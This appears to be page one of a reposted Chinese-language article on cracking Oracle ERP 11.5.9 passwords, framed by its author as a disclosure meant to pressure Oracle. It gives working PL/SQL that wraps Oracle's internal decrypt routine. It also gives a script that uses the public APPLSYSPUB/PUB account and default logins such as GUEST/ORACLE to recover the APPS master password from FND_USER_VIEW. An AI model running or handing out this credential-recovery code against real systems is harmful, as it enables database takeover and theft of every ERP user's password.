破解Oracle ERP 密碼

來源:互聯網
上載者:User

1.     寫作目的   1

2.     利用Toad或其它pl/sql工具在Oracle ERPDatabase中建立Package,源碼如下...1

(1).建立Package Header1

(2).建立Package Body. 1

3.     取得APPS密碼的步驟   2

4.     通過任何一個User name/password取得APPS密碼的方法   2

5.     通過FND_USER:ENCRYPTED_USER_PASSWORD取得純文字密碼的方法...3

6.     通過上面建立的Package取得所有Oracle ERPApplication User 密碼的方法...3

7.     通過上面建立的Package取得所有Oracle ERPDatabase User密碼的方法...3

8.     刪除第一步建立的Package 3

9.     結論   3

10.   提高Oracle ERP的安全性   4

11.   此程式在Oracle ERP 11.5.9通過Toad測試通過.4 

1.     寫作目的

在要不要寫出來讓大家知道這個問題上想了很久, 但一想到遲早密碼破解的方法還是會被人知道的,與其讓少部分人知道,還不如讓大家都知道,事先好作防範.

公布密碼破解方法的目的還是想讓Oracle ERP做得更安全一點,讓我們大家放心的去用,畢竟是幾千萬的東西,現在的安全性顯然還達不到使用者的要求. 想借大家的力量給Oracle施加一點壓力,以將Oracle ERP的各個版本改得安全一點.

2.     利用Toad或其它pl/sql工具在OracleERP Database中建立Package,源碼如下

(1).建立Package Header

  1. CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER  
  2.   
  3. AS  
  4.   
  5. FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)  
  6.   
  7. RETURN VARCHAR2;  
  8.   
  9. END CrackPwd;  

(2).建立Package Bdy

  1. CREATE OR REPLACE PACKAGE BODY CrackPwd  
  2.   
  3. AS  
  4.   
  5. FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)  
  6.   
  7. RETURN VARCHAR2  
  8.   
  9. AS  
  10.   
  11. LANGUAGE JAVA  
  12.   
  13. NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';  
  14.   
  15. END CrackPwd;  
  16.   
  17. /  
  18.    

3.     取得APPS密碼的步驟

 假設現在什麼Oracle erp許可權都沒有,怎麼去知道oracle erp databaes的許可權呢?我們知道Oracle erp提供了一個database的公用賬戶(gateway user),此賬戶擁有database的最小許可權,這個公用帳號是: APPLSYSPUB/PUB(oracle erp網頁中或URL中都有公開此賬戶),雖然此賬戶沒有什麼許可權,但卻有FND_USER_VIEW的查詢許可權,通過這個view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD欄位,問題就出在這個view的ENCRYPED_FOUNDATION_PASSWORD欄位上, ENCRYPED_FOUNDATION_PASSWORD這個欄位是由APPS的密碼和使用者密碼一起通過密碼編譯演算法得出的結果, 因此只要知道Oracle ERP的解密演算法就可以通過fnd_user中任何一個user的password反查apps的密碼.,而要知道fnd_user中任何一個user的密碼是太簡單的事了,在erp安裝時就預設了很多賬戶,這些賬戶的user name和password都是一樣的,一般沒有人去改這些賬戶的密碼

4.     通過任何一個Username/password取得APPS密碼的方法

  1. SET SERVEROUTPUT ON  
  2.   
  3. DECLARE  
  4.   
  5. guestUserPwd VARCHAR2(200);  
  6.   
  7. guestUserName VARCHAR2(100);  
  8.   
  9. guestFndPwd VARCHAR2(100);  
  10.   
  11. guestEncFndPwd VARCHAR2(100);  
  12.   
  13. delim NUMBER;  
  14.   
  15. BEGIN  
  16.   
  17. guestUserPwd :='GUEST/ORACLE';--Can any user password   
  18.   
  19. IF guestUserPwd IS NULL THEN  
  20.   
  21. guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));  
  22.   
  23. END IF;  
  24.   
  25. delim := INSTR(guestUserPwd,'/');  
  26.   
  27. guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));  
  28.   
  29. SELECT encrypted_foundation_password INTO guestEncFndPwd  
  30.   
  31. FROM fnd_user_view  
  32.   
  33. WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND  
  34.   
  35. (end_date IS NULL OR end_date > SYSDATE);  
  36.   
  37. guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);  
  38.   
  39. IF NOT (guestFndPwd IS NULL) THEN  
  40.   
  41. DBMS_OUTPUT.put_line(guestFndPwd);  
  42.   
  43. END IF;  
  44.   
  45. END;  

注: guestUserPwd :='GUEST/ORACLE';--Can any userpassword

上面這一行可以改成任何一個User的username/password,帳號和密碼之間用”/”隔開

以上程式可以用toad執行

  • 1
  • 2
  • 下一頁

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.